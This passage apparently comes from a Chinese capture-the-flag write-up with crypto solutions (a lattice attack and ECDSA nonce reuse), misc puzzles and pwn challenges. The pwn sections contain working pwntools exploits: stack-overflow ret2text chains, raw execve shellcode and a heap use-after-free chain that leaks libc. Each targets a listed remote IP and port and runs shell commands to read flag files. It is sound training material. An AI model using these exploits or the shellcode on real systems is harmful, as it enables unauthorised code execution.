c2 = 58727033167047203506164797837999819283982869287436076252773072774355826490167620639330797956244757203726547611149611642979362714607329797512143580714003751905301065313982278186988038708909021000691905664629331025167676669052317049958574849948837597306860613961557323523558290710860835719858942854534226001532
65

66
n3 = 104197894722251549417361866562671346718448272653499933412399440512957241054274214931999347021968663121866250705242698152904168891226692027345376090411001289684534871464563352348782346283820734447304134789063563965860082130364230372312070163983650187312362722689902212270815366758596540699197732479604574605717
67
a3 = 289837185860108823269362666161877095653
68
b3 = 88038264202304767250178171651729306984925900158278305985019519489525502096874
69
c3 = 12441437714234741776087648075441633972630237216692770981303759863634569477393643678959437151894987980323367988780311101132662707086178418962311399292280866817688865303206505050428252909551141504556842671029262184318022978671849627397763537173137629868777942717009356259616195047064075877128354789683093509959
70

71
ns = [n1, n2, n3]
72
as_ = [a1, a2, a3]
73
bs = [b1, b2, b3]
74
cs = [c1, c2, c3]
75

76
# ---- 1. f_i(x) = (a_i x + b_i)^3 - c_i, normalised to monic mod n_i --------
77
monic = []
78
for n, a, b, c in zip(ns, as_, bs, cs):
79
    ia = pow(a, -1, n)
80
    f0 = ((b ** 3 - c) * pow(ia, 3, n)) % n
81
    f1 = (3 * b * b % n * pow(ia, 2, n)) % n
82
    f2 = (3 * b * ia) % n
83
    monic.append([f0, f1, f2, 1])
84

85
# ---- 2. CRT coefficients to N = n1 n2 n3 -----------------------------------
86
N = n1 * n2 * n3
87

88
def crt(vals, mods, M):
89
    r = 0
90
    for v, m_ in zip(vals, mods):
91
        Mi = M // m_
92
        r = (r + v * Mi * pow(Mi, -1, m_)) % M
93
    return r
94

95
F = [crt([p[k] for p in monic], ns, N) for k in range(4)]
96
assert F[3] == 1
97
print("F(x) computed (deg 3 monic mod N).")
98

99
# ---- 3. Howgrave-Graham lattice (d = 3, t = 1, dim = 4) --------------------
100
d, t = 3, 1
101
dim = d + t
102
X = 1 << 300  # safe upper bound on m (m is ~256 bits)
103

104
B = [[0] * dim for _ in range(dim)]
105
for i in range(d):
106
    B[i][i] = N * (X ** i)
107
for j in range(t):
108
    for k in range(d + 1):
109
        col = j + k
110
        B[d + j][col] = F[k] * (X ** col)
111

112
print(f"Running LLL on {dim}x{dim}...", flush=True)
113
red = lll(B, Q(3, 4))
114
print("LLL done.")
115

116
# Recover the integer polynomial g(x) from the shortest vector.
117
short = red[0]
118
g_coeffs = [short[j] // (X ** j) for j in range(dim)]
119
while g_coeffs and g_coeffs[-1] == 0:
120
    g_coeffs.pop()
121

122
def evalp(coefs, x):
123
    r = 0
124
    for c in reversed(coefs):
125
        r = r * x + c
126
    return r
127

128
# ---- 4. Find the integer root of g(x) --------------------------------------
129
xs = sympy.symbols("x")
130
poly = sympy.Poly(sum(c * xs ** i for i, c in enumerate(g_coeffs)), xs)
131
m = None
132
for r in poly.real_roots():
133
    try:
134
        ri = int(r)
135
    except (TypeError, ValueError):
136
        continue
137
    for cand in (ri - 1, ri, ri + 1):
138
        if cand > 0 and evalp(g_coeffs, cand) == 0:
139
            m = cand
140
            break
141
    if m is not None:
142
        break
143

144
assert m is not None, "no integer root recovered"
145
print("m =", m)
146
print("flag =", long_to_bytes(m))

flag{d3e053494a1280f3cff1c22c170069c0}

ECDSA nonce 重用#

题目截图#

解题思路#

challenge\.json：

1
{
2
  "public_key_x": 82937147571408969267139200041203360936951744683871440166987788062427108593019,
3
  "public_key_y": 15586372809254615553254077057166913120384173467039862910897487982227597191402,
4
  "message1": "57656c636f6d6520746f2074686520435446206368616c6c656e676521",
5
  "message2": "506c65617365207265636f766572207468652073656372657420666c61672e",
6
  "signature1_r": 79013718241246135302610197377430012073343423894519665480327871129212060301075,
7
  "signature1_s": 103286208825942613961036297876825547961346350046619406322280179767228016529778,
8
  "signature2_r": 79013718241246135302610197377430012073343423894519665480327871129212060301075,
9
  "signature2_s": 79104101230423979234833091375845809917052647390793147016296814906477227009899,
10
  "curve": "SECP256k1"
11
}

`signature1_r == signature2_r`。在 ECDSA 中 `r = (k·G).x mod n`，两条不同消息的 `r` 完全相同，意味着签名时使用了 同一个 nonce `k`。

ECDSA 签名公式（曲线阶为 n，消息哈希为 z，私钥为 d）：

1
s = k⁻¹ · (z + r·d)  (mod n)

当两条消息复用同一个 k（因此 r 相同）时：

1
s1 = k⁻¹ · (z1 + r·d)
2
s2 = k⁻¹ · (z2 + r·d)

两式相减消去 d，解出 k：

1
s1 − s2 = k⁻¹ · (z1 − z2)
2
      k = (z1 − z2) · (s1 − s2)⁻¹   (mod n)

再代回任一式即可解出私钥 d：

1
d = (s1·k − z1) · r⁻¹   (mod n)

其中 z = SHA256$message$ mod n（secp256k1 标准做法，消息为题目给出的 hex 串解码后再哈希）。

恢复出的私钥（64 位 hex），Flag 末段取私钥 hex 的前 32 位

exp如下：

1
import json, hashlib
2

3
d = json.load(open('challenge.json'))
4

5
# secp256k1 群阶 n
6
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
7

8
r  = d['signature1_r']
9
s1 = d['signature1_s']
10
s2 = d['signature2_s']
11

12
def H(hexmsg):
13
    return int.from_bytes(hashlib.sha256(bytes.fromhex(hexmsg)).digest(), 'big') % n
14

15
z1 = H(d['message1'])
16
z2 = H(d['message2'])
17

18
# 恢复 nonce k 与私钥 priv
19
k    = (z1 - z2) * pow(s1 - s2, -1, n) % n
20
priv = (s1 * k - z1) * pow(r, -1, n) % n
21

22
# 私钥转为 64 位 hex，不足补 0
23
priv_hex = f"{priv:064x}"
24

25
# 取前 32 个 hex 字符作为 flag 末段
26
flag = f"flag{{ecdsa_nonce_reuse_{priv_hex[:32]}}}"
27

28
print(flag)

恢复出的私钥（64 位 hex）：

1
a46b8f59aac5f0d5f1e661827c1cf3a7f536c9ce5a5d2452942215f16480d48b

Flag 末段取私钥 hex 的前 32 位：

1
flag{ecdsa_nonce_reuse_a46b8f59aac5f0d5f1e661827c1cf3a7}

Pwn#

PWN-Authenticate#

题目截图#

解题思路#

对附件 vuln 进行检查：

1
checksec --file=./vuln

结果要点如下：

No PIE：程序基址固定，函数地址可直接使用
No canary found：栈上没有 canary，适合直接做栈溢出
程序未去符号：函数名可直接看到

同时在程序字符串中能直接看到几个关键信息：

存在危险函数 gets
存在 system
存在 /bin/sh
存在后门函数 backdoor

说明这题的预期思路非常明确：利用 gets 覆盖返回地址，跳转到程序自带后门。

反汇编后可以看到 login 和 backdoor 两个关键函数。

1.backdoor()

1
void backdoor() {
2
    system("/bin/sh");
3
}

后门函数的作用非常直接，就是弹 shell。

2.login()

核心逻辑大致如下：

1
void login() {
2
    char username[0x40];
3
    char password[0x80];
4

5
    puts("=== Welcome to SecureAuth System ===");
6
    printf("Username: ");
7
    read(0, username, 0x40);
8
    printf("Password: ");
9
    gets(password);
10

11
    if (!strcmp(username, "admin")) {
12
        puts("Access Denied: Admin login is disabled.");
13
    } else {
14
        puts("Invalid credentials.");
15
    }
16
}

这里的漏洞点在：

1
gets(password);

gets 不会检查输入长度，因此可以溢出覆盖保存的 rbp 和返回地址。

根据反汇编可知：

password 位于 rbp\-0x80
函数返回地址位于 \[rbp\+8\]

因此从 password 起始位置到返回地址的偏移为：

1
0x80 + 0x8 = 0x88 = 136

所以 payload 的前 136 字节用于填充，后面覆盖返回地址。

一开始如果直接把返回地址覆盖为 backdoor，程序虽然会跳进去，但在执行 system$\&\#34;/bin/sh\&\#34;$ 时会因为栈未按 16 字节对齐而崩溃。

这是因为在 x64 下调用某些 libc 函数时，对栈对齐有要求。

因此需要先插入一个单独的 ret gadget，把栈调整到正确对齐后，再跳转到 backdoor。

本题中可用地址为：

ret：0x40101a
backdoor：0x4011f6

最终 ROP 链为：

1
'A' * 136 + p64(0x40101a) + p64(0x4011f6)

脚本如下：

1
from pwn import *
2

3
context.log_level = "info"
4

5
HOST = "120.27.146.76"
6
PORT = 28517
7

8
p = remote(HOST, PORT)
9

10
p.recvuntil(b"Username: ")
11
p.send(b"admin\x00")
12

13
p.recvuntil(b"Password: ")
14
payload = b"A" * 136
15
payload += p64(0x40101a)   # ret，对齐栈
16
payload += p64(0x4011f6)   # backdoor
17

18
p.sendline(payload)
19
p.sendline(b"cat flag")
20

21
print(p.recvrepeat(2).decode(errors="ignore"))
22

23
p.interactive()

拿到flag

PWN-NoteService#

题目截图#

解题思路#

对附件程序 vuln 做检查，可以得到：

1
Arch:       amd64-64-little
2
RELRO:      Partial RELRO
3
Stack:      No canary found
4
NX:         NX enabled
5
PIE:        No PIE (0x400000)
6
SHSTK:      Enabled
7
IBT:        Enabled
8
Stripped:   No

这说明：

开启了 NX，不能直接在栈上执行 shellcode；
没有 Canary，存在栈溢出时可以直接覆盖返回地址；
没有 PIE，程序基址固定，函数地址可直接使用；
题目提示“利用程序自带后门函数实现 ret2text”，因此优先寻找隐藏函数。

反汇编 vuln 函数：

这里定义了 0x40 字节的栈缓冲区，但 read$0, buf, 0x100$ 却读入 0x100 字节数据，明显可以覆盖保存的 rbp 和返回地址，形成经典栈溢出。

程序中存在隐藏函数 secret\_note：

这正是题目要求的 ret2text 目标函数。

思路非常直接：

用溢出覆盖返回地址；
让程序返回到 secret\_note；
调用 system$\&\#34;/bin/sh\&\#34;$ 拿到 shell；
通过 shell 读取 /flag。

栈布局如下：

1
buf[0x40] + saved rbp[0x8] + ret addr[0x8]

所以覆盖返回地址的偏移为：

1
0x40 + 0x8 = 0x48 = 72

如果直接将返回地址覆盖成 secret\_note，程序会在 system$\&\#34;/bin/sh\&\#34;$ 内部崩溃。

原因是 amd64 下调用某些 libc 函数时需要满足 16 字节栈对齐。这里直接 ret 到后门函数会导致栈对齐不满足，从而在 do\_system 中段错误。

因此需要先跳一个单独的 ret gadget 做对齐：

1
ret gadget:   0x40101a
2
secret_note:  0x401196

最终利用链为：

1
'A' * 72 + p64(0x40101a) + p64(0x401196)

EXP如下：

1
from pwn import *
2

3
host = "47.99.147.34"
4
port = 21395
5

6
ret = 0x40101a
7
secret_note = 0x401196
8

9
payload = b"A" * 72 + p64(ret) + p64(secret_note)
10

11
p = remote(host, port)
12
p.recvuntil(b"Leave your note:\n")
13
p.send(payload)
14

15
# 进入 /bin/sh 后读取 flag
16
p.sendline(b"cat /flag")
17
p.interactive()

拿到flag

PWN-MessageBoard#

题目截图#

解题思路#

文件检查

1
$ file vuln
2
ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
3

4
$ checksec vuln
5
Arch:   amd64-64-little
6
RELRO:  Partial RELRO
7
Stack:  No canary found       ← 无栈 canary，可以直接溢出
8
NX:     NX unknown (GNU_STACK missing)
9
PIE:    No PIE (0x400000)
10
Stack:  Executable             ← 栈可执行，能直接跳到 shellcode
11
RWX:    Has RWX segments

四大保护里关键的两个：没有 canary、栈可执行。结合”程序主动泄露栈地址”，结论就明摆着——往栈上写shellcode，把返回地址覆盖到 shellcode 起始。

ida打开文件分析，main函数如下

main 只是把 stdin/stdout/stderr 关掉缓冲然后调 vuln()。

关键函数是vuln()

两个漏洞点合体：

printf(“Buffer at: %p”, buf) —— 直接泄露 buf 在栈上的地址，绕过 ASLR；
read(0, buf, 0x100) —— 缓冲区只有 0x80（128）字节，却允许写 0x100（256）字节，足够把 saved RBP 和返回地址都覆盖掉。

漏洞利用思路

1
栈布局（从低地址到高地址）：
2

3
[ buf 起始 (0x80=128 字节) ][ saved RBP (8) ][ return addr (8) ][ ... ]
4
          ↑
5
       buf 地址（被泄露）

利用步骤：

接收 Buffer at: 0x… 的输出，解析得到 buf 的栈地址。
构造 payload：

前 0x80 字节填 shellcode（不足用 ‘a’ 填到 0x88，覆盖 saved RBP）；
接下来 8 字节写 p64(buf)，把返回地址改成 shellcode 起始地址；

vuln() 函数 leave; ret 时，从 buf（也就是 shellcode）开始执行，拿到 shell。

偏移计算：buf 在 rbp-0x80，所以 buf -> saved RBP 距离是 0x80，再加 8 字节 saved RBP 就是返回地址，所以 shellcode后总共填到 0x88 字节再追加返回地址。

解题脚本

1
from pwn import *
2

3
context(arch="amd64", os="linux", log_level="info")
4

5
p = remote("120.27.146.76", 20056)
6

7
shellcode = (
8
    b"\x48\x31\xf6"
9
    b"\x56"
10
    b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
11
    b"\x57"
12
    b"\x54"
13
    b"\x5f"
14
    b"\xb0\x3b"
15
    b"\x99"
16
    b"\x0f\x05"
17
)
18

19
p.recvuntil(b'0x')
20
buf = int(p.recv(12), 16)
21
log.info("buf: " + hex(buf))
22

23
payload = shellcode.ljust(0x88, b'a')
24
payload += p64(buf)
25

26
p.sendlineafter(b"Message: ", payload)
27

28
# 列根目录、找 flag 文件
29
p.sendline(b"ls / 2>&1; ls -la /flag* /home /tmp 2>&1; find / -maxdepth 3 -iname 'flag*' 2>/dev/null")
30
p.sendline(b"cat /flag 2>&1")
31
p.sendline(b"cat /flag.txt 2>&1")
32
p.sendline(b"exit")
33
print(p.recvall(timeout=6).decode(errors="replace"))

flag{985511156b8b35d5df4a1cad23ca4603}

PWN-UserManager#

题目截图#

解题思路#

题目实现了一个简易用户系统，提供四个基础功能：

register
login
delete
edit

从功能上看只是普通的用户管理程序，但在堆对象释放和后续访问逻辑上存在明显缺陷。程序删除用户时虽然释放了对应堆块，却没有同步清空全局用户表中的指针，最终形成了一个可利用的 Use-After-Free。在此基础上，再结合堆块复用和登录逻辑中的函数指针调用，可以逐步完成地址泄露、基址计算以及控制流劫持。

最终目标是把悬垂的用户对象伪造成一个 fake object，使程序在 login 阶段执行：

1
system("/bin/sh")

并进一步读出 flag。

在此基础上，通过重新申请合适大小的堆块，可以使新用户的密码区复用原用户结构体所在的 chunk，从而借助 edit 间接改写悬垂用户对象内容。结合 login 中对函数指针的调用，最终可实现控制流劫持。

利用思路如下：

1.构造堆重叠

先注册两个用户，再依次删除。由于旧指针仍保留在 users 表中，随后注册新用户时，其密码块可复用原先用户结构体所在内存区域。这样，对新用户执行 edit，实际上即可改写旧用户对象。

2.构造 strcmp oracle

通过伪造悬垂对象中的指针字段，使 login 过程中 strcmp 比较目标可控。根据登录成功或失败的返回结果，可以逐字节枚举目标地址内容。

利用该 oracle：

先恢复 show 函数指针，计算程序基址（PIE）
再读取 puts@GOT，恢复 libc 基址

3.劫持控制流

得到 libc 基址后，进一步计算出 system 和 \&\#34;/bin/sh\&\#34; 的实际地址。随后将悬垂用户对象伪造成：

pass\_ptr \-\> \&\#34;/bin/sh\&\#34;
show\_ptr \-\> system

再次触发 login 时，程序会执行：

1
system("/bin/sh");

进而获取 shell 并读取 flag。

exp如下：

1
#!/usr/bin/env python3
2
from pwn import *
3
import time
4

5
context(os="linux", arch="amd64")
6
context.log_level = "info"
7

8
HOST = "47.99.147.34"
9
PORT = 19588
10
BIN_PATH = "./login"
11

12
# binary offsets (PIE)
13
SHOW_OFF      = 0x9D0
14
PUTS_GOT_OFF  = 0x201F98
15

16
# libc-2.23-0ubuntu11.3 offsets
17
PUTS_OFF      = 0x6F6A0
18
SYSTEM_OFF    = 0x453A0
19
BINSH_OFF     = 0x18CE57
20

21
# Heap LSBs after the UAF setup
22
SHOW_PTR_LSB  = 0x98
23
CHUNK_PTR_LSB = 0x80
24

25
PROMPT_T = 6
26

27
class DeadSession(Exception):
28
    """Connection died or desynced — restart from scratch."""
29

30
def open_io(local):
31
    if local:
32
        return process(BIN_PATH)
33
    return remote(HOST, PORT, timeout=12)
34

35
class Exploit:
36
    def __init__(self, io):
37
        self.io = io
38
        self.io.timeout = PROMPT_T
39
        self._first_op = True
40

41
    # ---- low-level guards ----------------------------------------------
42
    def _expect(self, marker, t=PROMPT_T):
43
        try:
44
            data = self.io.recvuntil(marker, timeout=t)
45
        except (EOFError, ConnectionResetError, ConnectionAbortedError,
46
                BrokenPipeError):
47
            raise DeadSession(f"EOF waiting for {marker!r}")
48
        if marker not in data:
49
            raise DeadSession(f"desync waiting for {marker!r}, tail={data[-80:]!r}")
50
        return data
51

52
    def _send(self, data):
53
        try:
54
            self.io.send(data)
55
        except (BrokenPipeError, ConnectionAbortedError, ConnectionResetError):
56
            raise DeadSession("write failed")
57

58
    def _sendline(self, data):
59
        self._send(data + b"\n")
60

61
    def _menu(self):
62
        self._expect(b"Your choice:")
63

64
    # ---- menu primitives -----------------------------------------------
65
    def register(self, idx, length, data):
66
        if not self._first_op:
67
            self._menu()
68
        self._first_op = False
69
        self._sendline(b"2")
70
        self._expect(b"Input the user id:")
71
        self._sendline(str(idx).encode())
72
        self._expect(b"Input the password length:")
73
        self._sendline(str(length).encode())
74
        self._expect(b"Input password:")
75
        self._send(data)
76
        self._expect(b"Register success!")
77

78
    def delete(self, idx):
79
        if not self._first_op:
80
            self._menu()
81
        self._first_op = False
82
        self._sendline(b"3")
83
        self._expect(b"Input the user id:")
84
        self._sendline(str(idx).encode())
85
        self._expect(b"Delete success!")
86

87
    def edit(self, idx, data):
88
        self._menu()
89
        self._sendline(b"4")
90
        self._expect(b"Input the user id:")
91
        self._sendline(str(idx).encode())
92
        self._expect(b"Input new pass:")
93
        self._send(data)
94

95
    def login(self, idx, data):
96
        self._menu()
97
        self._sendline(b"1")
98
        self._expect(b"Input the user id:")
99
        self._sendline(str(idx).encode())
100
        self._expect(b"Input the passwords length:")
101
        self._sendline(str(len(data)).encode())
102
        self._expect(b"Input the password:")
103
        self._send(data)
104
        try:
105
            return self.io.recvuntil(b"Your choice:", timeout=PROMPT_T)
106
        except (EOFError, ConnectionResetError, ConnectionAbortedError):
107
            raise DeadSession("EOF after login")
108

109
    # ---- UAF setup -----------------------------------------------------
110
    def setup(self):
111
        # password0 / user0 / password1 / user1 all into fastbin[0x20]
112
        self.register(0, 0x20, b"A" * 0x20)
113
        self.register(1, 0x20, b"B" * 0x20)
114
        self.delete(1)
115
        self.delete(0)
116
        # malloc(24) reuses user_0's freed chunk as user_2's password buffer;
117
        # malloc(0x18) reuses password_0's freed chunk as user_2's struct.
118
        # Now users[0] (dangling) overlaps user_2's password buffer, so
119
        # edit(2, ...) writes through users[0]->{password,show,length}.
120
        self.register(2, 24, bytes([CHUNK_PTR_LSB]))
121

122
    # ---- oracles -------------------------------------------------------
123
    def oracle_relative(self, lsb, payload):
124
        self.edit(2, bytes([lsb]))
125
        return b"Login success!" in self.login(0, payload)
126

127
    def oracle_absolute(self, addr, show_addr, payload):
128
        self.edit(2, p64(addr) + p64(show_addr) + p64(0x20))
129
        return b"Login success!" in self.login(0, payload)
130

131
    # ---- byte-by-byte leaks --------------------------------------------
132
    def _leak(self, oracle, lsb_or_base, abs_mode, show_addr=None):
133
        leaked = b""
134
        for i in range(5, -1, -1):
135
            tail = leaked + b"\x00"
136
            for guess in range(256):
137
                pwd = bytes([guess]) + tail
138
                if abs_mode:
139
                    hit = oracle(lsb_or_base + i, show_addr, pwd)
140
                else:
141
                    hit = oracle((lsb_or_base + i) & 0xFF, pwd)
142
                if hit:
143
                    leaked = bytes([guess]) + leaked
144
                    log.info(f"  byte {i}: 0x{guess:02x}  acc={leaked.hex()}")
145
                    break
146
            else:
147
                raise RuntimeError(f"failed leak at byte {i}")
148
        return u64(leaked.ljust(8, b"\x00"))
149

150
    def leak_pie_show(self):
151
        return self._leak(self.oracle_relative, SHOW_PTR_LSB, abs_mode=False)
152

153
    def leak_libc_puts(self, puts_got, show_addr):
154
        return self._leak(self.oracle_absolute, puts_got,
155
                          abs_mode=True, show_addr=show_addr)
156

157
    # ---- finisher ------------------------------------------------------
158
    def pop_shell(self, system_addr, binsh_addr):
159
        # The last login() consumed "Your choice:" — start fresh here.
160
        self._sendline(b"4")
161
        self._expect(b"Input the user id:")
162
        self._sendline(b"2")
163
        self._expect(b"Input new pass:")
164
        self._send(p64(binsh_addr) + p64(system_addr) + p64(8))
165
        time.sleep(0.05)
166

167
        self._menu()
168
        self._sendline(b"1")
169
        self._expect(b"Input the user id:")
170
        self._sendline(b"0")
171
        self._expect(b"Input the passwords length:")
172
        self._sendline(b"8")
173
        self._expect(b"Input the password:")
174
        self._send(b"/bin/sh\x00")
175

176
        time.sleep(0.4)
177
        self.io.sendline(
178
            b"id; cat /flag* 2>/dev/null; cat /home/*/flag* 2>/dev/null; ls /"
179
        )
180
        try:
181
            out = self.io.recvrepeat(3)
182
            log.success(f"shell output:\n{out.decode(errors='replace')}")
183
        except Exception:
184
            pass
185
        self.io.interactive()
186

187
def run_round(local):
188
    io = open_io(local)
189
    try:
190
        ex = Exploit(io)
191
        ex.setup()
192

193
        log.info("phase 1: leak PIE via show pointer")
194
        show_addr = ex.leak_pie_show()
195
        pie = show_addr - SHOW_OFF
196
        puts_got = pie + PUTS_GOT_OFF
197
        log.success(f"show={hex(show_addr)} pie={hex(pie)} puts_got={hex(puts_got)}")
198

199
        log.info("phase 2: leak libc via puts@got")
200
        puts_addr = ex.leak_libc_puts(puts_got, show_addr)
201
        libc = puts_addr - PUTS_OFF
202
        system_addr = libc + SYSTEM_OFF
203
        binsh_addr = libc + BINSH_OFF
204
        log.success(f"puts={hex(puts_addr)} libc={hex(libc)} system={hex(system_addr)}")
205

206
        log.info("phase 3: trigger system(\"/bin/sh\")")
207
        ex.pop_shell(system_addr, binsh_addr)
208
    finally:
209
        try:
210
            io.close()
211
        except Exception:
212
            pass
213

214
def main():
215
    local = bool(args.LOCAL)
216
    rounds = int(args.ROUNDS) if args.ROUNDS else 20
217

218
    for r in range(rounds):
219
        log.info(f"=== round {r + 1}/{rounds} ===")
220
        try:
221
            run_round(local)
222
            return
223
        except DeadSession as e:
224
            log.warn(f"dead session: {e}")
225
        except RuntimeError as e:
226
            log.warn(f"runtime: {e}")
227
        except Exception as e:
228
            log.warn(f"unexpected: {e!r}")
229
        time.sleep(0.5)
230
    log.error("exhausted retries")
231

232
if __name__ == "__main__":
233
    main()

拿到flag

Misc#

像素中的秘密#

题目截图#

解题思路#

NG 结构拆解

PNG 的标准布局是 signature$8$ \+ chunks\.\.\.，每个 chunk 形如 length$4$ \+ type$4$ \+ data \+ crc$4$。逐 chunk 解析后：

偏移	chunk	长度	CRC 校验	备注
8	IHDR	13	✅ 通过	64×64 RGB
33	IDAT	124	✅ 通过	像素数据
169	IEND	0	✅ 通过	PNG 结束标志

按规范，IEND 之后不应该再有任何字节。这里多出了 64 字节，肯定是出题人塞进去的载荷。

附加数据如下

1
00000000 69cb3444 e6741ecc fec75329
2
8b2b8b36 5de383f9 b6a8455f aa22d9fa
3
801804f6 7e1336a0 8483d711 bb2c210c
4
fb1ee500 5f32e934 03862da8 e71ab15c

先验证一下图像本体没有 LSB 之类的隐写：

1
from PIL import Image
2
img = Image.open("image_08.png")
3
print(set(img.getdata()))   # {(255, 255, 255)}

只有一个像素值 `(255, 255, 255)`，所以 LSB / 位平面 / 调色板这些都不可能藏数据。题目标题里的”像素”是 misdirection（误导），真正的秘密在 IEND 之外。

对 64 字节做特征分析：

1
熵 (Shannon entropy)  : 5.60 / 8.00
2
字节频率              : 大致均匀分布
3
可打印 ASCII 占比     : 21/64 ≈ 33%

熵 5.6 说明数据不是纯随机也不是普通文本，符合”加密数据”或”压缩数据”的特征。

观察整体结构，把 64 字节拆成 8 段 8 字节：

1
0: 00 00 00 00 69 cb 34 44   ← 前 4 字节为 0，后 4 字节像 32 位整数
2
1: e6 74 1e cc fe c7 53 29   ← 高熵
3
2: 8b 2b 8b 36 5d e3 83 f9
4
...

第 0 段的”4 字节零 + 4 字节随机”是非常典型的 “32 位整数用 8 字节大端存储” 模式。常见的几种可能：

解释	后续数据
8 字节种子（实际 32 位）	后 56 字节 = 流密码密文
8 字节 IV（实际 32 位）	后 48~56 字节 = 分组密钥密文
8 字节长度/版本字段	后 56 字节 = 实际载荷

56 字节不是 16 的倍数 → 不太可能是 AES-CBC/ECB（块密码会要求 16 字节对齐）。

反过来，56 字节适合流密码（任意长度都能加解密）。

流密码用什么生成密钥流？常见的可能：

LCG（线性同余生成器）——CTF 里最常见的”自实现弱 PRNG”
Mersenne Twister（Python random 默认）
xorshift 系列
自定义 LFSR

LCG 的优势：实现极短、参数广为人知（C rand、Java、glibc、Numerical Recipes）。

试一组最常见的 LCG 参数表：

名称	乘数 a	增量 c	模数 m
Numerical Recipes	1664525	1013904223	2³²
glibc rand	1103515245	12345	2³¹
MS Visual C	214013	2531011	2³¹
Borland C	22695477	1	2³²

每组都试一遍：“种子 = 前 8 字节 mod 2³²，跑 56 轮取低 8 位作为密钥流，与后 56 字节 XOR”。

1
def try_lcg(seed, mul, add, mod, ct):
2
    x = seed % mod
3
    out = bytearray()
4
    for c in ct:
5
        x = (mul * x + add) % mod
6
        out.append(c ^ (x & 0xFF))
7
    return bytes(out)

试到 Numerical Recipes `(1664525, 1013904223, 2³²)` 时，输出变成：

1
b'5bctImREPUNVbqJmUNHWmXHFkVQF1qoDw5JIlf' + b'\x00' * 18

中间结果 5bctImREPUNVbqJmUNHWmXHFkVQF1qoDw5JIlf 字符集是 \[0\-9 a\-z A\-Z\]，没有 \+/=。

这正好是 base62 字母表

base62 解码：

1
def base62_decode(s):
2
    alpha = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
3
    n = 0
4
    for ch in s:
5
        n = n * 62 + alpha.index(ch)
6
    return n.to_bytes((n.bit_length() + 7) // 8, "big")

输出：

flag{xor_with_pseudo_random}

完整的exp

1
from __future__ import annotations
2
from pathlib import Path
3
from typing import Iterator
4
import struct
5
import sys
6

7
PNG_SIGNATURE = b"\x89PNG\r\n\x1a\n"
8
B62_ALPHABET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
9
B62_INDEX = {c: i for i, c in enumerate(B62_ALPHABET)}
10

11
# Numerical Recipes 的 LCG 常数
12
LCG_MUL = 1664525
13
LCG_ADD = 1013904223
14
LCG_MOD = 1 << 32
15

16
def extract_after_iend(path: str | Path) -> bytes:
17

18
    data = Path(path).read_bytes()
19
    if not data.startswith(PNG_SIGNATURE):
20
        raise ValueError(f"{path} is not a PNG file")
21

22
    pos = len(PNG_SIGNATURE)
23
    while pos + 12 <= len(data):
24
        (length,) = struct.unpack(">I", data[pos:pos + 4])
25
        chunk_type = data[pos + 4:pos + 8]
26

27
        end = pos + 8 + length + 4  # type(4)+data(N)+crc(4) 都已在 length 之外
28
        if end > len(data):
29
            raise ValueError(
30
                f"chunk at offset {pos} ({chunk_type!r}) overruns file"
31
            )
32

33
        pos = end
34
        if chunk_type == b"IEND":
35
            return data[pos:]
36

37
    raise ValueError("IEND chunk not found")
38

39
def lcg_keystream(seed: int) -> Iterator[int]:
40

41
    x = seed & 0xFFFFFFFF
42
    while True:
43
        x = (LCG_MUL * x + LCG_ADD) % LCG_MOD
44
        yield x & 0xFF
45

46
def xor_with_lcg(data: bytes, seed: int) -> bytes:
47
    ks = lcg_keystream(seed)
48
    return bytes(b ^ next(ks) for b in data)
49

50
def base62_decode(s: str) -> bytes:
51

52
    n = 0
53
    for ch in s:
54
        try:
55
            n = n * 62 + B62_INDEX[ch]
56
        except KeyError:
57
            raise ValueError(f"invalid base62 char: {ch!r}")
58
    if n == 0:
59
        return b"\x00"
60
    return n.to_bytes((n.bit_length() + 7) // 8, "big")
61

62
def solve(png_path: str | Path) -> str:
63
    tail = extract_after_iend(png_path)
64
    if len(tail) < 8:
65
        raise ValueError(f"appended payload too short: {len(tail)} bytes")
66

67
    seed = int.from_bytes(tail[:8], "big")
68
    cipher = tail[8:]
69

70
    middle_bytes = xor_with_lcg(cipher, seed).rstrip(b"\x00")
71
    middle = middle_bytes.decode("ascii")
72
    flag = base62_decode(middle).decode("utf-8")
73

74
    print(f"[+] file        : {png_path}")
75
    print(f"[+] tail length : {len(tail)}")
76
    print(f"[+] seed (raw)  : {tail[:8].hex()}")
77
    print(f"[+] seed (eff.) : 0x{seed & 0xFFFFFFFF:08x}")
78
    print(f"[+] cipher hex  : {cipher.hex()}")
79
    print(f"[+] middle b62  : {middle}")
80
    print(f"[+] flag        : {flag}")
81
    return flag
82

83
if __name__ == "__main__":
84
    target = sys.argv[1] if len(sys.argv) > 1 else
85
    solve(target)

幻影#

题目截图#

解题思路#

题目给的是一个bin文件

是 RAR 文件头，但实际是个伪装的文本文件，里面包含提示 BASE64 PLUS XOR、假 flag、和真正的 base64 数据

把 base64 解码后的前 5 字节和 flag{ 异或一下：

密文前5字节 = 0a 00 0d 0b 17

明文前5字节 = 66 6c 61 67 7b (‘f’,‘l’,‘a’,‘g’,’{’)

异或结果 = 6c 6c 6c 6c 6c (‘l’,‘l’,‘l’,‘l’,‘l’)

说明 key 就是单字节 0x6c，循环异或整个密文

解题脚本

1
import base64
2

3
with open('data.bin', 'rb') as f:
4
    raw = f.read()
5

6
b64 = raw.split(b'\n')[-1].strip()
7

8
cipher = base64.b64decode(b64)
9
known = b'flag{'
10
key = bytes(c ^ p for c, p in zip(cipher, known))
11
print('[*] recovered key bytes:', key)
12

13
xor_key = key[0]
14
flag = bytes(b ^ xor_key for b in cipher)
15
print('[+] flag:', flag.decode())

flag{2fdb21c8-b864-49d0-ac73-c4bc51e7e87f}

签到题-损坏的压缩包#

题目截图#

解题思路#

拿到附件后，首先查看压缩包内容，发现压缩包中只有一个文件：

1
data.txt

解压文件：

1
unzip archive_04.zip

查看 data\.txt 内容：

1
cat data.txt

得到如下字符串：

1
bWdnbA==

尝试进行 Base64 解码：

解码结果为：

1
mggl

所以flag就是

1
flag{mggl}

迷宫#

题目截图#

解题思路#

题目入口只有 layer1/data2.zip。但目录树有几个明显的”姿势”:

1
maze_01/layer1/
2
  ├── data2.zip                                ← 入口
3
  └── data2/
4
      └── secret3/
5
          ├── hidden4.zip                 ← 第二层 zip
6
          └── hidden4/
7
              └── .config/user/backup5/
8
